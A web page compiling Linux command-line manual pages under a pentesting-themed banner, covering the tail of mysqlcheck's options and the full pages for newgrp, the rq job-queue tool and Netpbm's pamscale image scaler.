mysqlcheck is similar in function to myisamchk, but works differently. The main operational difference is that mysqlcheck must be used when the mysqld server is running, whereas myisamchk should be used when it is not. The benefit of using mysqlcheck is that you do not have to stop the server to perform table maintenance.

mysqlcheck uses the SQL statements CHECK TABLE, REPAIR TABLE, ANALYZE TABLE, and OPTIMIZE TABLE in a convenient way for the user. It determines which statements to use for the operation you want to perform, and then sends the statements to the server to be executed.

The MyISAM storage engine supports all four maintenance operations, so mysqlcheck can be used to perform any of them on MyISAM tables. Other storage engines do not necessarily support all operations. In such cases, an error message is displayed. For example, if test.t is a MEMORY table, an attempt to check it produces this result:

shell> mysqlcheck test t test.t note : The storage engine for the table doesn’t support check

If mysqlcheck is unable to repair a table, see the MariaDB Knowledge Base for manual table repair strategies. This will be the case, for example, for InnoDB tables, which can be checked with CHECK TABLE, but not repaired with REPAIR TABLE.

The use of mysqlcheck with partitioned tables is not supported.

Caution

It is best to make a backup of a table before performing a table repair operation; under some circumstances the operation might cause data loss. Possible causes include but are not limited to file system errors.

There are three general ways to invoke mysqlcheck:

shell> mysqlcheck [options] db_name [tbl_name …] shell> mysqlcheck [options] –databases db_name … shell> mysqlcheck [options] –all-databases

If you do not name any tables following db_name or if you use the –databases or –all-databases option, entire databases are checked.

mysqlcheck has a special feature compared to other client programs. The default behavior of checking tables (–check) can be changed by renaming the binary. If you want to have a tool that repairs tables by default, you should just make a copy of mysqlcheck named mysqlrepair, or make a symbolic link to mysqlcheck named mysqlrepair. If you invoke mysqlrepair, it repairs tables.

The following names can be used to change mysqlcheck default behavior.

mysqlrepairThe default option is --repair
mysqlanalyzeThe default option is --analyze
mysqloptimizeThe default option is --optimize

mysqlcheck supports the following options, which can be specified on the command line or in the [mysqlcheck] and [client] option file groups. The -c, -r, -a and -o options are exclusive to each other.

·

–help, -?

Display a help message and exit.

·

–all-databases, -A

Check all tables in all databases. This is the same as using the –databases option and naming all the databases on the command line.

·

–all-in-1, -1

Instead of issuing a statement for each table, execute a single statement for each database that names all the tables from that database to be processed.

·

–analyze, -a

Analyze the tables.

·

–auto-repair

If a checked table is corrupted, automatically fix it. Any necessary repairs are done after all tables have been checked.

·

**–character-sets-dir=**path

The directory where character sets are installed.

·

–check, -c

Check the tables for errors. This is the default operation.

·

–check-only-changed, -C

Check only tables that have changed since the last check or that have not been closed properly.

·

–check-upgrade, -g

Invoke CHECK TABLE with the FOR UPGRADE option to check tables for incompatibilities with the current version of the server. This option automatically enables the –fix-db-names and –fix-table-names options.

·

–compress

Compress all information sent between the client and the server if both support compression.

·

–databases, -B

Process all tables in the named databases. Normally, mysqlcheck treats the first name argument on the command line as a database name and following names as table names. With this option, it treats all name arguments as database names.

·

–debug[=debug_options], -# [debug_options]

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default is ’d:t:o'.

·

–debug-check

Print some debugging information when the program exits.

·

–debug-info

Print debugging information and memory and CPU usage statistics when the program exits.

·

**–default-auth=**name

Default authentication client-side plugin to use.

·

**–default-character-set=**charset_name

Use charset_name as the default character set.

·

**–defaults-extra-file=**filename

Set filename as the file to read default options from after the global defaults files has been read. Must be given as first option.

·

**–defaults-file=**filename

Set filename as the file to read default options from, override global defaults files. Must be given as first option.

·

–extended, -e

If you are using this option to check tables, it ensures that they are 100% consistent but takes a long time.

If you are using this option to repair tables, it will force using the old, slow, repair with keycache method, instead of the much faster repair by sorting.

·

–fast, -F

Check only tables that have not been closed properly.

·

–fix-db-names

Convert database names to the format used since MySQL 5.1. Only database names that contain special characters are affected.

·

–fix-table-names

Convert table names (including views) to the format used since MySQL 5.1. Only table names that contain special characters are affected.

·

–flush,

Flush each table after check. This is useful if you don’t want to have the checked tables take up space in the caches after the check.

·

–force, -f

Continue even if an SQL error occurs.

·

**–host=**host_name, -h host_name

Connect to the MariaDB server on the given host.

·

–medium-check, -m

Do a check that is faster than an –extended operation. This finds only 99.99% of all errors, which should be good enough in most cases.

·

–no-defaults

Do not read default options from any option file. This must be given as the first argument.

·

–optimize, -o

Optimize the tables.

·

–password[=password], -p[password]

The password to use when connecting to the server. If you use the short option form (-p), you cannot have a space between the option and the password. If you omit the password value following the –password or -p option on the command line, mysqlcheck prompts for one.

Specifying a password on the command line should be considered insecure. You can use an option file to avoid giving the password on the command line.

·

–persistent, -Z

Used with ANALYZE TABLE to append the option PERSISENT FOR ALL.

·

–pipe, -W

On Windows, connect to the server via a named pipe. This option applies only if the server supports named-pipe connections.

·

**–plugin-dir=**name

Directory for client-side plugins.

·

**–port=**port_num, -P port_num

The TCP/IP port number to use for the connection. Forces –protocol=tcp when specified on the command line without other connection properties.

·

–print-defaults

Print the program argument list and exit. This must be given as the first argument.

·

–process-tables

Perform the requested operation on tables. Defaults to on; use –skip-process-tables to disable.

·

**–process-views=**val

Perform the requested operation (only CHECK VIEW or REPAIR VIEW). Possible values are NO, YES (correct the checksum, if necessary, add the mariadb-version field), UPGRADE_FROM_MYSQL (same as YES and toggle the algorithm MERGE<->TEMPTABLE.

·

–protocol={TCP|SOCKET|PIPE|MEMORY}

The connection protocol to use for connecting to the server. It is useful when the other connection parameters normally would cause a protocol to be used other than the one you want.

·

–quick, -q

If you are using this option to check tables, it prevents the check from scanning the rows to check for incorrect links. This is the fastest check method.

If you are using this option to repair tables, it tries to repair only the index tree. This is the fastest repair method.

·

–repair, -r

Perform a repair that can fix almost anything except unique keys that are not unique.

·

–silent, -s

Silent mode. Print only error messages.

·

**–skip-database=**db_name

Don’t process the database (case-sensitive) specified as argument.

·

**–socket=**path, -S path

For connections to localhost, the Unix socket file to use, or, on Windows, the name of the named pipe to use. Forces –protocol=socket when specified on the command line without other connection properties; on Windows, forces –protocol=pipe.

·

–ssl

Enable SSL for connection (automatically enabled with other flags). Disable with –skip-ssl.

·

**–ssl-ca=**name

CA file in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-capath=**name

CA directory (check OpenSSL docs, implies –ssl).

·

**–ssl-cert=**name

X509 cert in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-cipher=**name

SSL cipher to use (check OpenSSL docs, implies –ssl).

·

**–ssl-key=**name

X509 key in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-crl=**name

Certificate revocation list (check OpenSSL docs, implies –ssl).

·

**–ssl-crlpath=**name

Certificate revocation list path (check OpenSSL docs, implies –ssl).

·

–ssl-verify-server-cert

Verify server’s “Common Name” in its cert against hostname used when connecting. This option is disabled by default.

·

–tables

Override the –databases or -B option. All name arguments following the option are regarded as table names.

·

–use-frm

For repair operations on MyISAM tables, get the table structure from the .frm file so that the table can be repaired even if the .MYI header is corrupted.

·

**–user=**user_name, -u user_name

The MariaDB user name to use when connecting to the server.

·

–verbose, -v

Verbose mode. Print information about the various stages of program operation. Using one –verbose option will give you more information about what mysqlcheck is doing.

Using two –verbose options will also give you connection information.

Using it 3 times will print out all CHECK, RENAME and ALTER TABLE during the check phase.

·

–version, -V

Display version information and exit.

·

–write-binlog

This option is enabled by default, so that ANALYZE TABLE, OPTIMIZE TABLE, and REPAIR TABLE statements generated by mysqlcheck are written to the binary log. Use –skip-write-binlog to cause NO_WRITE_TO_BINLOG to be added to the statements so that they are not logged. Use the –skip-write-binlog when these statements should not be sent to replication slaves or run when using the binary logs for recovery from backup.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1211 - Linux cli command newgrp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command newgrp and provides detailed information about the command newgrp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the newgrp.

NAME 🖥️ newgrp 🖥️

log in to a new group

SYNOPSIS

newgrp [-] [group]

DESCRIPTION

The newgrp command is used to change the current group ID during a login session. If the optional - flag is given, the users environment will be reinitialized as though the user had logged in, otherwise the current environment, including current working directory, remains unchanged.

newgrp changes the current real group ID to the named group, or to the default group listed in /etc/passwd if no group name is given. newgrp also tries to add the group to the user groupset. If not root, the user will be prompted for a password if she does not have a password (in /etc/shadow if this user has an entry in the shadowed password file, or in /etc/passwd otherwise) and the group does, or if the user is not listed as a member and the group has a password. The user will be denied access if the group password is empty and the user is not listed as a member.

If there is an entry for this group in /etc/gshadow, then the list of members and the password of this group will be taken from this file, otherwise, the entry in /etc/group is considered.

CONFIGURATION

The following configuration variables in /etc/login.defs change the behavior of this tool:

SYSLOG_SG_ENAB (boolean)

Enable “syslog” logging of sg activity.

FILES

/etc/passwd

User account information.

/etc/shadow

Secure user account information.

/etc/group

Group account information.

/etc/gshadow

Secure group account information.

SEE ALSO

id(1), login(1), su(1), sg(1), gpasswd(1), group(5), gshadow(5).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1212 - Linux cli command rq

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rq and provides detailed information about the command rq, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rq.

NAME 🖥️ rq 🖥️

RQ command line tool.

SYNOPSIS

rq [OPTIONS] COMMAND [ARGS] . . .

DESCRIPTION

RQ command line tool. This command is part of rq python module.

OPTIONS

–version
Show the version and exit.

–help
Show this message and exit.

COMMANDS

empty
Empty given queues.

info
RQ command-line monitor.

enqueue
Enqueues a job from the command line.

requeue
Requeue failed jobs.

resume
Resumes processing of queues, that where suspended with `rq…

suspend
Suspends all workers, to resume run ‘rq resume’

worker
Starts an RQ worker.

worker-pool
Starts an RQ worker pool.

SEE ALSO

rqinfo(1), rqworker(1),
Full rq documentation

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1213 - Linux cli command pamscale

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamscale and provides detailed information about the command pamscale, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamscale.

.

NAME 🖥️ pamscale 🖥️

scale a Netpbm image

SYNOPSIS

   pamscale
      [ 
         scale_factor 
         |
         {-xyfit | -xyfill | -xysize}
           cols rows 
         |
         -reduce reduction_factor 
         |
         [-xsize=cols | -width=cols | -xscale=factor]
         [-ysize=rows | -height=rows | -yscale=factor]
         |
         -pixels n
      ]
      [
         -nomix 
         |
         -filter=functionName [-window=functionName]
      ]
      [-linear]
      [-reportonly]
      [-verbose]

      [pnmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamscale scales a Netpbm image by a specified factor, or scales individually horizontally and vertically by specified factors.

You can either enlarge (scale factor > 1) or reduce (scale factor < 1).

pamscale works on multi-image streams, scaling each one independently. But before Netpbm 10.49 (December 2009), it scales only the first image and ignores the rest of the stream.

The Scale Factors

The options -width, -height, -xsize, -ysize, -xscale, -yscale, -xyfit, -xyfill, -reduce, and -pixels control the amount of scaling. For backward compatibility, there are also -xysize and the scale_factor argument, but you shouldn’t use those.

-width and -height specify the width and height in pixels you want the resulting image to be. See below for rules when you specify one and not the other.

-xsize and -ysize are synonyms for -width and -height, respectively.

-xscale and -yscale tell the factor by which you want the width and height of the image to change from source to result (e.g. -xscale 2 means you want to double the width; -xscale .5 means you want to halve it). See below for rules when you specify one and not the other.

When you specify an absolute size or scale factor for both dimensions, pamscale scales each dimension independently without consideration of the aspect ratio.

If you specify one dimension as a pixel size and don’t specify the other dimension, pamscale scales the unspecified dimension to preserve the aspect ratio.

If you specify one dimension as a scale factor and don’t specify the other dimension, pamscale leaves the unspecified dimension unchanged from the input.

If you specify the scale_factor parameter instead of dimension options, that is the scale factor for both dimensions. It is equivalent to **-xscale=**scale_factor -yscale=scale_factor.

Specifying the -reduce reduction_factor option is equivalent to specifying the scale_factor parameter, where scale_factor is the reciprocal of reduction_factor.

-xyfit specifies a bounding box. pamscale scales the input image to the largest size that fits within the box, while preserving its aspect ratio. -xysize is a synonym for this. Before Netpbm 10.20 (January 2004), -xyfit did not exist, but -xysize did.

-xyfill is similar, but pamscale scales the input image to the smallest size that completely fills the box, while preserving its aspect ratio. This option has existed since Netpbm 10.20 (January 2004).

-pixels specifies a maximum total number of output pixels. pamscale scales the image down to that number of pixels. If the input image is already no more than that many pixels, pamscale just copies it as output; pamscale does not scale up with -pixels.

If you enlarge by a factor of 3 or more, you should probably add a pnmsmooth step; otherwise, you can see the original pixels in the resulting image.

-reportonly

The option -reportonly causes pamscale not to scale the image, but instead to report to Standard Output what scaling the options and the input image dimensions indicate. For example, if you specify

    -xyfill 100 100 -reportonly 

and the input image is 500 x 400, pamscale tells you that this means scaling by .25 to end up with a 125 x 100 image.

You can use this information with other programs, such as pamscalefixed, that don’t have as rich facilities as pamscale for choosing scale factors.

The output is intended to be convenient for machine processing. In the example above, it would be

    500 400 0.250000 0.250000 125 100

The output is a single line of text per input image, with blank-separated tokens as follows.

  • input width in pixels, decimal unsigned integer

  • input height in pixels, decimal unsigned integer

  • horizontal scale factor, floating point decimal, unsigned

  • vertical scale factor, floating point decimal, unsigned

  • output width in pixels, decimal unsigned integer

  • output height in pixels, decimal unsigned integer

-reportonly was new in Netpbm 10.86 (March 2019).

Usage Notes

A useful application of pamscale is to blur an image. Scale it down (without -nomix) to discard some information, then scale it back up using pamstretch.

Or scale it back up with pamscale and create a “pixelized” image, which is sort of a computer-age version of blurring.

Transparency

pamscale understands transparency and properly mixes pixels considering the pixels’ transparency.

Proper mixing does not mean just mixing the transparency value and the color component values separately. In a PAM image, a pixel which is not opaque represents a color that contains light of the foreground color indicated explicitly in the PAM and light of a background color to be named later. But the numerical scale of a color component sample in a PAM is as if the pixel is opaque. So a pixel that is supposed to contain half-strength red light for the foreground plus some light from the background has a red color sample that says full red and a transparency sample that says 50% opaque. In order to mix pixels, you have to first convert the color sample values to numbers that represent amount of light directly (i.e. multiply by the opaqueness) and after mixing, convert back (divide by the opaqueness).

Input And Output Image Types

pamscale produces output of the same type (and tuple type if the type is PAM) as the input, except if the input is PBM. In that case, the output is PGM with maxval 255. The purpose of this is to allow meaningful pixel mixing. Note that there is no equivalent exception when the input is PAM. If the PAM input tuple type is BLACKANDWHITE, the PAM output tuple type is also BLACKANDWHITE, and you get no meaningful pixel mixing.

If you want PBM output with PBM input, use pamditherbw to convert pamscale’s output to PBM. Also consider pbmreduce.

pamscale’s function is essentially undefined for PAM input images that are not of tuple type RGB, GRAYSCALE, BLACKANDWHITE, or the _ALPHA variations of those. (By standard Netpbm backward compatibility, this includes PBM, PGM, and PPM images).

You might think it would have an obvious effect on other tuple types, but remember that the aforementioned tuple types have gamma-adjusted sample values, and pamscale uses that fact in its calculations. And it treats a transparency plane different from any other plane.

pamscale does not simply reject unrecognized tuple types because there’s a possibility that just by coincidence you can get useful function out of it with some other tuple type and the right combination of options (consider -linear in particular).

Methods Of Scaling

There are numerous ways to scale an image. pamscale implements a bunch of them; you select among them with invocation options.

Pixel Mixing

Pamscale’s default method is pixel mixing. To understand this, imagine the source image as composed of square tiles. Each tile is a pixel and has uniform color. The tiles are all the same size. Now take a transparent sheet the size of the target image, marked with a square grid of tiles the same size. Stretch or compress the source image to the size of the sheet and lay the sheet over the source.

Each cell in the overlay grid stands for a pixel of the target image. For example, if you are scaling a 100x200 image up by 1.5, the source image is 100 x 200 tiles, and the transparent sheet is marked off in 150 x 300 cells.

Each cell covers parts of multiple tiles. To make the target image, just color in each cell with the color which is the average of the colors the cell covers – weighted by the amount of that color it covers. A cell in our example might cover 4/9 of a blue tile, 2/9 of a red tile, 2/9 of a green tile, and 1/9 of a white tile. So the target pixel would be somewhat unsaturated blue.

When you are scaling up or down by an integer, the results are simple. When scaling up, pixels get duplicated. When scaling down, pixels get thrown away. In either case, the colors in the target image are a subset of those in the source image.

When the scale factor is weirder than that, the target image can have colors that didn’t exist in the original. For example, a red pixel next to a white pixel in the source might become a red pixel, a pink pixel, and a white pixel in the target.

This method tends to replicate what the human eye does as it moves closer to or further away from an image. It also tends to replicate what the human eye sees, when far enough away to make the pixelization disappear, if an image is not made of pixels and simply stretches or shrinks.

Discrete Sampling

Discrete sampling is basically the same thing as pixel mixing except that, in the model described above, instead of averaging the colors of the tiles the cell covers, you pick the one color that covers the most area.

The result you see is that when you enlarge an image, pixels get duplicated and when you reduce an image, some pixels get discarded.

The advantage of this is that you end up with an image made from the same color palette as the original. Sometimes that’s important.

The disadvantage is that it distorts the picture. If you scale up by 1.5 horizontally, for example, the even numbered input pixels are doubled in the output and the odd numbered ones are copied singly. If you have a bunch of one pixel wide lines in the source, you may find that some of them stretch to 2 pixels, others remain 1 pixel when you enlarge. When you reduce, you may find that some of the lines disappear completely.

You select discrete sampling with pamscale’s -nomix option.

Actually, -nomix doesn’t do exactly what I described above. It does the scaling in two passes - first horizontal, then vertical. This can produce slightly different results.

There is one common case in which one often finds it burdensome to have pamscale make up colors that weren’t there originally: Where one is working with an image format such as GIF that has a limited number of possible colors per image. If you take a GIF with 256 colors, convert it to PPM, scale by .625, and convert back to GIF, you will probably find that the reduced image has way more than 256 colors, and therefore cannot be converted to GIF. One way to solve this problem is to do the reduction with discrete sampling instead of pixel mixing. Probably a better way is to do the pixel mixing, but then color quantize the result with pnmquant before converting to GIF.

When the scale factor is an integer (which means you’re scaling up), discrete sampling and pixel mixing are identical – output pixels are always just N copies of the input pixels. In this case, though, consider using pamstretch instead of pamscale to get the added pixels interpolated instead of just copied and thereby get a smoother enlargement.

pamscale’s discrete sampling is faster than pixel mixing, but pamenlarge is faster still. pamenlarge works only on integer enlargements.

discrete sampling (-nomix) was new in Netpbm 9.24 (January 2002).

Resampling

Resampling assumes that the source image is a discrete sampling of some original continuous image. That is, it assumes there is some non-pixelized original image and each pixel of the source image is simply the color of that image at a particular point. Those points, naturally, are the intersections of a square grid.

The idea of resampling is just to compute that original image, then sample it at a different frequency (a grid of a different scale).

The problem, of course, is that sampling necessarily throws away the information you need to rebuild the original image. So we have to make a bunch of assumptions about the makeup of the original image.

You tell pamscale to use the resampling method by specifying the -filter option. The value of this option is the name of a function, from the set listed below.

To explain resampling, we are going to talk about a simple one dimensional scaling – scaling a single row of grayscale pixels horizontally. If you can understand that, you can easily understand how to do a whole image: Scale each of the rows of the image, then scale each of the resulting columns. And scale each of the color component planes separately.

As a first step in resampling, pamscale converts the source image, which is a set of discrete pixel values, into a continuous step function. A step function is a function whose graph is a staircase-y thing.

Now, we convolve the step function with a proper scaling of the filter function that you identified with -filter. If you don’t know what the mathematical concept of convolution (convolving) is, you are officially lost. You cannot understand this explanation. The result of this convolution is the imaginary original continuous image we’ve been talking about.

Finally, we make target pixels by picking values from that function.

To understand what is going on, we use Fourier analysis:

The idea is that the only difference between our step function and the original continuous function (remember that we constructed the step function from the source image, which is itself a sampling of the original continuous function) is that the step function has a bunch of high frequency Fourier components added. If we could chop out all the higher frequency components of the step function, and know that they’re all higher than any frequency in the original function, we’d have the original function back.

The resampling method assumes that the original function was sampled at a high enough frequency to form a perfect sampling. A perfect sampling is one from which you can recover exactly the original continuous function. The Nyquist theorem says that as long as your sample rate is at least twice the highest frequency in your original function, the sampling is perfect. So we assume that the image is a sampling of something whose highest frequency is half the sample rate (pixel resolution) or less. Given that, our filtering does in fact recover the original continuous image from the samples (pixels).

To chop out all the components above a certain frequency, we just multiply the Fourier transform of the step function by a rectangle function.

We could find the Fourier transform of the step function, multiply it by a rectangle function, and then Fourier transform the result back, but there’s an easier way. Mathematicians tell us that multiplying in the frequency domain is equivalent to convolving in the time domain. That means multiplying the Fourier transform of F by a rectangle function R is the same as convolving F with the Fourier transform of R. It’s a lot better to take the Fourier transform of R, and build it into pamscale than to have pamscale take the Fourier transform of the input image dynamically.

That leaves only one question: What is the Fourier transform of a rectangle function? Answer: sinc. Recall from math that sinc is defined as sinc(x) = sin(PI*x)/PI*x.

Hence, when you specify -filter=sinc, you are effectively passing the step function of the source image through a low pass frequency filter and recovering a good approximation of the original continuous image.

Refiltering

There’s another twist: If you simply sample the reconstructed original continuous image at the new sample rate, and that new sample rate isn’t at least twice the highest frequency in the original continuous image, you won’t get a perfect sampling. In fact, you’ll get something with ugly aliasing in it. Note that this can’t be a problem when you’re scaling up (increasing the sample rate), because the fact that the old sample rate was above the Nyquist level means so is the new one. But when scaling down, it’s a problem. Obviously, you have to give up image quality when scaling down, but aliasing is not the best way to do it. It’s better just to remove high frequency components from the original continuous image before sampling, and then get a perfect sampling of that.

Therefore, pamscale filters out frequencies above half the new sample rate before picking the new samples.

Approximations

Unfortunately, pamscale doesn’t do the convolution precisely. Instead of evaluating the filter function at every point, it samples it – assumes that it doesn’t change any more often than the step function does. pamscale could actually do the true integration fairly easily. Since the filter functions are built into the program, the integrals of them could be too. Maybe someday it will.

There is one more complication with the Fourier analysis. sinc has nonzero values on out to infinity and minus infinity. That makes it hard to compute a convolution with it. So instead, there are filter functions that approximate sinc but are nonzero only within a manageable range. To get those, you multiply the sinc function by a window function, which you select with the -window option. The same holds for other filter functions that go on forever like sinc. By default, for a filter that needs a window function, the window function is the Blackman function. Hanning, Hamming, and Kaiser are alternatives.

Filter Functions Besides Sinc

The math described above works only with sinc as the filter function. pamscale offers many other filter functions, though. Some of these approximate sinc and are faster to compute. For most of them, I have no idea of the mathematical explanation for them, but people do find they give pleasing results. They may not be based on resampling at all, but just exploit the convolution that is coincidentally part of a resampling calculation.

For some filter functions, you can tell just by looking at the convolution how they vary the resampling process from the perfect one based on sinc:

The impulse filter assumes that the original continuous image is in fact a step function – the very one we computed as the first step in the resampling. This is mathematically equivalent to the discrete sampling method.

The box (rectangle) filter assumes the original image is a piecewise linear function. Its graph just looks like straight lines connecting the pixel values. This is mathematically equivalent to the pixel mixing method (but mixing brightness, not light intensity, so like pamscale -linear) when scaling down, and interpolation (ala pamstretch) when scaling up.

Gamma

pamscale assumes the underlying continuous function is a function of brightness (as opposed to light intensity), and therefore does all this math using the gamma-adjusted numbers found in a PNM or PAM image. The -linear option is not available with resampling (it causes pamscale to fail), because it wouldn’t be useful enough to justify the implementation effort.

Resampling (-filter) was new in Netpbm 10.20 (January 2004).

The filter and window functions

Here is a list of the function names you can specify for the -filter or -windowoption. For most of them, you’re on your own to figure out just what the function is and what kind of scaling it does. These are common functions from mathematics. Note that some of these make sense only as filter functions and some make sense only as window functions.

point
The graph of this is a single point at X=0, Y=1.

box
The graph of this is a rectangle sitting on the X axis and centered on the Y axis with height 1 and base 1.

triangle
The graph of this is an isosceles triangle sitting on the X axis and centered on the Y axis with height 1 and base 2.

quadratic
cubic
catrom
mitchell
gauss
sinc
bessel
hanning
hamming
blackman
kaiser
normal
hermite
lanczos
Not documented

Linear vs Gamma-adjusted

The pixel mixing scaling method described above involves intensities of pixels (more precisely, it involves individual intensities of primary color components of pixels). But the PNM and PNM-equivalent PAM image formats represent intensities with gamma-adjusted numbers that are not linearly proportional to intensity. So pamscale, by default, performs a calculation on each sample read from its input and each sample written to its output to convert between these gamma-adjusted numbers and internal intensity-proportional numbers.

Sometimes you are not working with true PNM or PAM images, but rather a variation in which the sample values are in fact directly proportional to intensity. If so, use the -linear option to tell pamscale this. pamscale then will skip the conversions.

The conversion takes time. In one experiment, it increased by a factor of 10 the time required to reduce an image. And the difference between intensity-proportional values and gamma-adjusted values may be small enough that you would barely see a difference in the result if you just pretended that the gamma-adjusted values were in fact intensity-proportional. So just to save time, at the expense of some image quality, you can specify -linear even when you have true PPM input and expect true PPM output.

For the first 13 years of Netpbm’s life, until Netpbm 10.20 (January 2004), pamscale’s predecessor pnmscale always treated the PPM samples as intensity-proportional even though they were not, and drew few complaints. So using -linear as a lie is a reasonable thing to do if speed is important to you. But if speed is important, you also should consider the -nomix option and pnmscalefixed.

Another technique to consider is to convert your PNM image to the linear variation with pnmgamma, run pamscale on it and other transformations that like linear PNM, and then convert it back to true PNM with pnmgamma -ungamma. pnmgamma is often faster than pamscale in doing the conversion.

With -nomix, -linear has no effect. That’s because pamscale does not concern itself with the meaning of the sample values in this method; pamscale just copies numbers from its input to its output.

Precision

pamscale uses floating point arithmetic internally. There is a speed cost associated with this. For some images, you can get the acceptable results (in fact, sometimes identical results) faster with pnmscalefixed, which uses fixed point arithmetic. pnmscalefixed may, however, distort your image a little. See the pnmscalefixed user manual for a complete discussion of the difference.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamscale recognizes the following command line options:

-width
-height
-xsize
-ysize
-xscale
-yscale
-xyfit
-xyfill
-reduce
-pixels
-xysize
These options determine the horizontal and vertical scale factors.

See The Scale Factors .

-reportonly
This causes pamscale not to scale the image, but instead to report to Standard Output what scaling the options and the input image dimensions indicate.

See -reportonly .

-nomix
This option selects discrete sampling as the method of scaling .

**-filter=**functionName
This option selects resampling as the method of scaling .

**-window=**functionName
This option selects a window function to modify the filter function specified with -filter.

See Resampling .

-verbose
This option causes pamscale to issue messages to Standard Error about the scaling.

SEE ALSO

pnmscalefixed(1) , pamstretch(1) , pamstretch-gen(1) , pamditherbw(1) , pbmreduce(1) , pbmpscale(1) , pamenlarge(1) , pnmsmooth(1) , pamcut(1) , pnmgamma(1) , pnmscale(1) , pnm(1) , pam(1)

HISTORY

pamscale was new in Netpbm 10.20 (January 2004). It was adapted from, and obsoleted, pnmscale. pamscale’s primary difference from pnmscale is that it handles the PAM format and uses the “pam” facilities of the Netpbm programming library. But it also added the resampling class of scaling method. Furthermore, it properly does its pixel mixing arithmetic (by default) using intensity-proportional values instead of the gamma-adjusted values the pnmscale uses. To get the old pnmscale arithmetic, you can specify the -linear option.

The intensity proportional stuff came out of suggestions by Adam M Costello in January 2004.

The resampling algorithms are mostly taken from code contributed by Michael Reinelt in December 2003.

The version of pnmscale from which pamscale was derived, itself evolved out of the original Pbmplus version of pnmscale by Jef Poskanzer (1989, 1991). But none of that original code remains.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamscale.html

